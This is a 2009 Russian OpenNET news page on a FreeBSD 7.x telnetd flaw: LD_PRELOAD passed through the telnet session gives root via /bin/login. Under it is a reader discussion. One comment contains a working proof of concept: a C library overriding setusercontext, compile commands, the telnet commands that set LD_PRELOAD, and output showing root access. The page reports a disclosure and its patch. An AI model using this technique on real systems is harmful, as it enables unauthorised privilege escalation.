The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Получение root привилегий через telnetd демон во FreeBSD (опубликован патч)

16.02.2009 10:10

В telnetd демоне, входящем в состав FreeBSD 7.x, обнаружена критическая уязвимость, позволяющая локальному злоумышленнику получить привилегии суперпользователя в системе. Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы.

Эксплоит настолько прост, что вначале даже не верится, что он может работать. Уязвимость связана ненадлежащей чисткой переменных окружения перед вызовом /bin/login из telnetd (отсутствует чистка переменной окружения LD_PRELOAD, которую можно передать со стороны клиента, так как telnet протокол поддерживает передачу переменных окружения внутри сессии). Суть метода в подключении, через LD_PRELOAD простейшей библиотеки, запускающей /bin/sh в процедуре инициализации. Библиотека должна находиться на атакуемом хосте. При этом в момент подключения к локальному telnetd серверу, злоумышленник без аутентификации получает root shell.

Теоретически на основе данной проблемы можно реализовать и сценарий удаленной атаки (например, библиотека может быть загружена через анонимный FTP, а путь к ней предугадан). Исправления уязвимости в настоящий момент не доступны, рекомендуется отключить telnet сервис, если он используется (по умолчанию telnetd отключен).

Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD. Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже присутствует в выпусках 7.0-RELEASE-p10, 7.1-RELEASE-p3, 7.1-STABLE и доступно в виде патча.

Дополнение 2: Комментарий от Colin Percival, FreeBSD Security Officer.

Дополнение 3: Кроме FreeBSD уязвимости подвержена DragonflyBSD.

  1. Главная ссылка к новости (http://lists.grok.org.uk/piper...)
  2. securityfocus.com: FreeBSD 'telnetd' Daemon Remote Code Execution Vulnerability
Лицензия: CC-BY
Тип: Проблемы безопасности
Короткая ссылка: https://opennet.ru/20302-telnet
Ключевые слова: telnet, security, freebsd
Поддержать дальнейшую публикацию новостей на OpenNET.


Обсуждение (45) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 10:33, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Много людей юзают telnet на продакшен?
     
     
  • 2.3, goshanecr (??), 10:39, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Много людей юзают telnet на продакшен?

    Да даже и на непродакшен, зачем его пользовать? Включение хоть телнета, хоть ssh это в самом простом случае +1 строчка в конфиг, а клиент есть либо по умолчанию, либо уж ладно putty с собой таскать не сложно. Хотя встроенные всякие железяки пользуют его..

     
  • 2.18, sumkamama (?), 20:30, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Много людей юзают telnet на продакшен?

    Вы знаете, какую нагрузку даёт ssh на 2000 сессий?

     
     
  • 3.24, PereresusNeVlezaetBuggy (ok), 23:56, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >>Много людей юзают telnet на продакшен?
    >
    >Вы знаете, какую нагрузку даёт ssh на 2000 сессий?

    А кто будет давать такую нагрузку? Юзеры? Так им-то как раз SSH и прописан, ибо сетевой безопасности не разумеют. Telnet сейчас реально юзается в embedded из-за простоты реализации и соображений совместимости. Других обоснованных применений за последнее время я не встречал. А вы?

     
  • 3.29, Умник (?), 09:30, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >>Много людей юзают telnet на продакшен?
    >
    >Вы знаете, какую нагрузку даёт ssh на 2000 сессий?

    2000 админов на сервак мертвеца ))))

     
     
  • 4.36, User294 (ok), 09:53, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >2000 админов на сервак мертвеца ))))

    Если порезать крутой и мощный сервак на VDSки - может оказаться не такой уж и фантастикой.

     
     
  • 5.41, Frank (??), 16:00, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    боюсь, сервак с 2000 vps загнётся ещё до логинов по ssh, от одного только количества запущенных процессов :)
     

  • 1.2, metallic (?), 10:35, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Простите, я поколение пепси, а что такое телнет? Это что-то типа ssh, да?
     
     
  • 2.4, InkviZitor (?), 10:40, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Угу, только данный передаются в незашифрованном виде
     
     
  • 3.23, Аноним (-), 21:42, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Угу, только данный передаются в незашифрованном виде

    telnet довольно давно умеет шифрование делать.

     
     
  • 4.40, metallic (?), 13:32, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >telnet довольно давно умеет шифрование делать.

    А оно надо?

     
  • 3.39, metallic (?), 13:32, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Расслабьтесь, я пошутил :)
     
  • 2.10, gvf (??), 11:45, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Кдассная шутка, спасибо :)
     
  • 2.12, ABC (??), 13:33, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Простите, я поколение пепси, а что такое телнет? Это что-то типа ssh,
    >да?

    И правда смешно :)

     

  • 1.5, Аноним (5), 10:43, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Не думаю. В то же время мой модем поддерживает ftp. А telnet висит постоянно...
     
  • 1.6, Ы (?), 11:18, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ужас! Как же терь жить то будем без телнета!!!
     
  • 1.7, Ы (?), 11:19, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Кстати, почему его еще не выкинут из базовой системы?
     
     
  • 2.8, PereresusNeVlezaetBuggy (ok), 11:39, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    В OpenBSD давно выкинут, поэтому она явно не подвержена этой атаке :)))
     
  • 2.9, BigAlex (?), 11:40, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    POSIX вестимо
     
     
  • 3.11, PereresusNeVlezaetBuggy (ok), 11:57, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >POSIX вестимо

    Ни telnet, ни telnetd не входят в SUS

     
  • 2.30, Умник (?), 09:32, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Кстати, почему его еще не выкинут из базовой системы?

    При минимальной установке - отключен по умолчанию!

     

  • 1.13, КтулхЪ (?), 17:29, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >Эксплоит настолько прост, что вначале даже не верится, что он может работать.

    Все гениальное просто =)

     
  • 1.14, Умник (?), 17:40, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    telnetd is disabled by default
     
     
  • 2.15, Аноним (-), 20:01, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Всё китайцы сейчас начнут сканить 23 порты нмапом... :)
     

  • 1.16, Гость (?), 20:15, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А никому не приходила в голову мысль, что LD_PRELOAD просто в принципе не работает для setuid программ если их не root запускает? А если root запускает то и подгружать ничего не надо. Головой-то подумать можно если лень ман почитать - каждый дурак из shell бы подгрузил что ему захочется. Но нет, кто-то попробовал от root и о - чудо! Сработало! Я хакер!
     
  • 1.17, Гость (?), 20:16, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В догонку: кстати в OpenBSD нет telnetd в принципе...
     
  • 1.19, Гость (?), 20:38, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Еще в догонку. Дыра все-таки возможна - надо просто руки оторвать тому кто описывал проблему. Речь идет о возможности передачи переменной через сессию, а в этом случае setuid собственно вообще не причем - права root изначально.
     
     
  • 2.20, Аноним (-), 20:42, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Еще в догонку. Дыра все-таки возможна - надо просто руки оторвать тому
    >кто описывал проблему. Речь идет о возможности передачи переменной через сессию,
    >а в этом случае setuid собственно вообще не причем - права
    >root изначально.

    А где ты упоминание setuid нашел ? В тексте новости и в оригинале как раз про передачи переменной в сессии написано, а про setuid ни слова.

     
  • 2.21, Гость (?), 20:52, 16/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Про setuid перепутал - это на securitylab было написано, вот и перемешалось. Текст просто сильно похожий и из него не сразу понятно откуда вообще дыра взялась. В общеим случае дыра не в том, что не очищается перед запуском, а в том, что позволяет установить такую переменную через сессию.
     

  • 1.22, Гость (?), 21:06, 16/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Еще в догонку... Кому интересно - посмотрел FreeBSD-current - действительно пропускает все. NetBSD-current - режет
    OpenBSD (telnetd выкосили три года назад, на тот момент) - режет
     
     
  • 2.31, Умник (?), 09:36, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Еще в догонку... Кому интересно - посмотрел FreeBSD-current - действительно пропускает все.
    >NetBSD-current - режет
    >OpenBSD (telnetd выкосили три года назад, на тот момент) - режет

    Current не показатель!

    Из офф. письма:

    "Some basic information from our investigation so far, subject to change as we
    investigate further:
    * this affects telnetd in FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE, and 8-CURRENT.
    * telnetd is disabled by default; if it is enabled, this is normally done via
    inetd(8)."

    Для слепых: telnetd is DISABLED by DEFAULT

     
     
  • 3.35, PereresusNeVlezaetBuggy (ok), 09:48, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >>Еще в догонку... Кому интересно - посмотрел FreeBSD-current - действительно пропускает все.
    >>NetBSD-current - режет
    >>OpenBSD (telnetd выкосили три года назад, на тот момент) - режет
    >
    >Current не показатель!

    Интересно, а где же тогда ошибки будут исправляться? Security fixes backports — тема вообще отдельная.

    >[оверквотинг удален]
    >
    >"Some basic information from our investigation so far, subject to change as
    >we
    >investigate further:
    >* this affects telnetd in FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE, and 8-CURRENT.
    >* telnetd is disabled by default; if it is enabled, this is
    >normally done via
    >inetd(8)."
    >
    >Для слепых: telnetd is DISABLED by DEFAULT

    Для шибко умных: не считайте остальных тупее себя.

     

  • 1.25, chuvy (??), 07:21, 17/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >>It is unlikely that this bug can be exploited remotely but is not impossible.

    Чувак пробовал локально это делать. При том в 7.0. И сам же утверждает что маловероятно использовать ее удаленно. И делается это от рута, если кто не заметил.

     
     
  • 2.26, chuvy (??), 07:28, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    what leads to a (possible) remote root hole - что приводит к (возможно) удаленному root управлению.
    Имхо туфта все это.
     
     
  • 3.27, Гость (?), 07:52, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Не туфта.
    Просто написана статья так, что не сразу ясно что имеется в виду.
    А суть в том, что телнет во фре (до сегодняшнего дня) позволял передать в environment сессии все что угодно и соответственно подгрузить shared object, который вызовется login'ом еще на правах root. Статья говорит о том, что не чистится данная переменная, но на деле ее и не надо чистить - надо не допускать установки ее удаленно (и не только ее).
     
     
  • 4.28, Гость (?), 08:00, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Кстати посмотрел что сегодня пропатчили во фре - судя по всему ничего по теме :)
     
  • 4.32, Умник (?), 09:39, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Не туфта.
    >Просто написана статья так, что не сразу ясно что имеется в виду.
    >
    >А суть в том, что телнет во фре (до сегодняшнего дня) позволял
    >передать в environment сессии все что угодно и соответственно подгрузить shared
    >object, который вызовется login'ом еще на правах root. Статья говорит о
    >том, что не чистится данная переменная, но на деле ее и
    >не надо чистить - надо не допускать установки ее удаленно (и
    >не только ее).

    ТУФТА!

    1. Telnetd отключен по умолчанию (см. офф. письмо о уязвимости!)
    2. Разумный человек отставляет только необходимые демоны в системе, в особенности на сервере
    3. Разумный чаловек использует файервол как на рабочей станции так и в особенности на сервере

     
     
  • 5.34, PereresusNeVlezaetBuggy (ok), 09:46, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >[оверквотинг удален]
    >>не надо чистить - надо не допускать установки ее удаленно (и
    >>не только ее).
    >
    >ТУФТА!
    >
    >1. Telnetd отключен по умолчанию (см. офф. письмо о уязвимости!)
    >2. Разумный человек отставляет только необходимые демоны в системе, в особенности на
    >сервере
    >3. Разумный чаловек использует файервол как на рабочей станции так и в
    >особенности на сервере

    Для самых умных — речи не было о том, что эта уязвимость проявляется в установке по умолчанию. И если сервис поднят, то и доступ к нему будет открыт, ибо для того он и поднят, чтобы им пользовались.

     
  • 4.45, aurved (?), 14:16, 18/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    recent changes in FreeBSD's environment-handling
    code rendered telnetd's scrubbing inoperative, thereby allowing potentially
    harmful environment variables to be set.

    RECENT CHANGES -- насколько я понял это только в 7.0 и 7.1 проявилось, поэтому и исправлений даже для 6-ой ветки нету. А в старых ветках в environment-handling
    code не было этого.

     

  • 1.33, Умник (?), 09:43, 17/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Неужели в природе есть люди не сканящие свой сервер или рабочую станцию nmap и оставляющие ненужные демоны?!

    P.S. Виндузятники - не люди, а зомби!

     
     
  • 2.42, Аноним (-), 21:47, 17/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    > Неужели в природе есть люди не сканящие свой сервер или рабочую станцию nmap и оставляющие ненужные демоны?!

    для проверки на ненужные сервисы совсем не обязательно ставить nmap. Хватит и штатного sockstat(1). Напр.

        sockstat -l46

     

  • 1.37, Гость (?), 10:07, 17/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Вопрос не в скане - телнет никто в здравом уме не включит, а по умолчанию он выключен. Вопрос в том, что в принципе дыра в программе есть...
     
  • 1.38, Гость (?), 10:08, 17/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Кому интересно...

    %id
    uid=1001(test) gid=1001(test) groups=1001(test)
    %cd /tmp
    %cat >test.c
    #include <sys/types.h>
    #include <login_cap.h>
    #include <stdio.h>
      
    int
    setusercontext(login_cap_t *lc, const struct passwd *pwd, uid_t uid,
            unsigned int flags)
    {
            printf("Xa-xa!\n");
            return (0);
    }
    %cc -c -o test.so -fPIC test.c
    %cc -shared -o libtest.so.0.0 test.so
    %telnet
    telnet> aut dis sra
    telnet> env def LD_PRELOAD /tmp/libtest.so.0.0
    telnet> ope localhost
    Trying 127.0.0.1...  
    Connected to localhost.
    Escape character is '^]'.

    FreeBSD/i386 (shit.home.lan) (ttyp3)

    Password:
    Xa-xa!  
    Last login: Tue Feb 17 12:51:07 from form.win.alveis.
    Xa-xa!
    Copyright (c) 1992-2009 The FreeBSD Project.
    Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
            The Regents of the University of California. All rights reserved.

    FreeBSD 7.1-RELEASE (GENERIC) #0: Thu Jan  1 14:37:25 UTC 2009

    Welcome to FreeBSD!


    %id
    uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
    %halt
    Connection closed by foreign host.


     
  • 1.43, Осторожный (ok), 09:03, 18/02/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В заголовке новости ошибка - исправьте !!!

    ===>
    Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD. Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже присутствует в выпусках 7.1-RELEASE-p10, 7.0-RELEASE-p3, 7.1-STABLE и доступно в виде патча.
    ===>

    На самом деле должно быть 7.1-RELEASE-p3, 7.0-RELEASE-p10
    Видимо переписывали из анонса FreeBSD - там такая же ошибка :)

     
     
  • 2.44, PereresusNeVlezaetBuggy (ok), 09:10, 18/02/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >[оверквотинг удален]
    >
    >===>
    >Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD.
    >Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже
    >присутствует в выпусках 7.1-RELEASE-p10, 7.0-RELEASE-p3, 7.1-STABLE и доступно в виде патча.
    >
    >===>
    >
    >На самом деле должно быть 7.1-RELEASE-p3, 7.0-RELEASE-p10
    >Видимо переписывали из анонса FreeBSD - там такая же ошибка :)

    Тогда заодно стоит заменить

    "Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы."

    на

    "NetBSD и OpenBSD проблеме не подвержены, в DragonFly BSD проблема исправлена 14.02.2008; однако другие *BSD-системы могут всё ещё содержать уязвимость."

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:
    При перепечатке указание ссылки на opennet.ru обязательно



    Спонсоры:
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2021 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру